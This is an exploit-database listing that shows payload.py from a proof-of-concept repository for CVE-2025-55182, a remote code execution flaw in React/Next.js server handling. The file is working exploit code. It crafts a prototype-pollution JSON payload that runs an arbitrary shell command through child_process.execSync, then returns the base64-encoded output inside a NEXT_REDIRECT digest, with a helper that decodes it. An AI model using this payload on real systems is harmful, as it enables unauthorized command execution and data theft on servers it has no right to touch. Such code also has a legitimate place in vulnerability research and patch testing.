Exploit database

GH-5b981ba91516e6dfc4177eee7fa2ebb6

gagaltotal/tot-react-rce-cve-2025-55182

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-55182

257 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files15
gagaltotal/tot-react-rce-cve-2025-55182Revision b0075e354e31

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

payload.py

Python · 1,382 bytes
import json
import base64
from urllib.parse import unquote

def create_payload_base64(command: str) -> str:
    escaped_command = (
        command.replace("\\", "\\\\")
        .replace("`", "\\`")
        .replace("$", "\\$")
        .replace('"', '\\"')
    )

    payload = {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": "{\"then\":\"$B1337\"}",
        "_response": {
            "_prefix": (
                "var res=process.mainModule.require('child_process')"
                f".execSync('{escaped_command} | base64 | tr \"\\\\n\" \"@\"').toString().trim();"
                "throw Object.assign(new Error('NEXT_REDIRECT'),"
                "{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});"
            ),
            "_chunks": "$Q2",
            "_formData": {"get": "$1:constructor:constructor"},
        },
    }

    return json.dumps(payload, separators=(",", ":"))

def decode_base64_output(encoded_output: str) -> str:
    try:
        decoded = unquote(encoded_output)
        base64_str = decoded.replace("@", "\n")
        raw = base64.b64decode(base64_str)

        try:
            return raw.decode("utf-8")
        except Exception:
            return raw.decode("latin-1", errors="replace")

    except Exception as e:
        return f"[Decoding error: {e}] Original: {encoded_output}"